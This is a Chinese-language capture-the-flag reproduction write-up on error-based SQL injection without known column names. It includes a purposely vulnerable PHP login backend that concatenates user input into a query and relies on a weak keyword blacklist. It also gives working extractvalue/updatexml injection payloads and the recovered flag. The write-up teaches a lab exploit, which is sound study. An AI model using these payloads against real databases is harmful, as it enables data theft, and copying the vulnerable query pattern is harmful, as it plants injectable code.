本次复现的目的在于掌握无列明注入的要点
一,什么是无列名注入
二,成品展示
通过playload成功注入。
这里就不把sqlmap测试的页面附上来了,大家复现后可以自己尝试。
三,环境与代码
环境
php5.6.40,apache2.4.3,mysql5.7.27
代码
本次复现为无源码复现,是作者根据赛题大致情况,编辑代码得出的。
最关键后台代码,test.php
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysqli_connect("localhost","root","密码就不贴了","security")
or die("Unable to connect to MySQL");
/*
$on=mysqli_select_db($conn,"security");
if($on)
echo "您要选择的数据库存在";
else
echo "您要选择的数据库不存在 ";
echo " , ";
*/
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from users where username=('$name') and password=('$pwd')";
$query=mysqli_query($conn,$sql);
if(preg_match("/union|imforation|schema|innodb|information/i",$name) or preg_match("/union|imforation|schema|innodb|information/i",$pwd))
{
echo 'no';
}
elseif ($query) {
}
else{
echo mysqli_error($conn);
}
?>
</body>
</html>
其次,前端login.php
<html>
<head>
<title>
报错+无列名注入
</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<style type="text/css">
body
{
background:url(1.png) no-repeat;
background-size:cover;
}
</style>
</head>
<body>
<form action="test.php" method="post">
<fieldset >
<legend><font color="#FFFFFF" size='10'>ERROR_LOGIN</font></legend>
<table>
<tr>
<td><font color="#99FF00"size='6'>用户名:</font></td>
<td><input type="text" name="username" size='50' style="height:50px;width:300px;font-size:20px"></td>
</tr>
<tr>
<td><font color="#99FF00" size='6'>密 码:</font></td>
<td><input type="text" name="password" size='50' style="height:50px;width:300px;font-size:20px"></td>
</tr>
<tr>
<td><input type="submit" value="提交" style='font-size:20px'></td>
<td><input type="reset" value="重置" style='font-size:20px'></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
至于图片的话大家自己配吧,我就不贴了。
四,playload
一,简单探索
利用sqlmap扫一下。
发现是报错注入
经过一波测试,发现union和information被禁了,这时用updatexml或extractvalue就可以。
二,playload
出列名:
1')+and+(extractvalue(1,concat(0x7e,(select+*+from+(select+*+from+flag+as+a+join+flag+as+b+using (id))+as+c),0x7e)))--+
出前flag:
1')||(updatexml(1,concat(0x7e,(select `numeric` from flag limit 0,1)),1))#
出后flag:
1')||(updatexml(1,concat(0x7e,(select right((`numeric`),30) from flag limit 0,1)),1))#
最终得到flag
CISCN{5dZZY-9bCuE-OEtFR-rE7TE-ydZZY-9bCuE-OEtFR-rE7TE-ywpu0-}
注:中间连接符使用||
或and
或or
都可以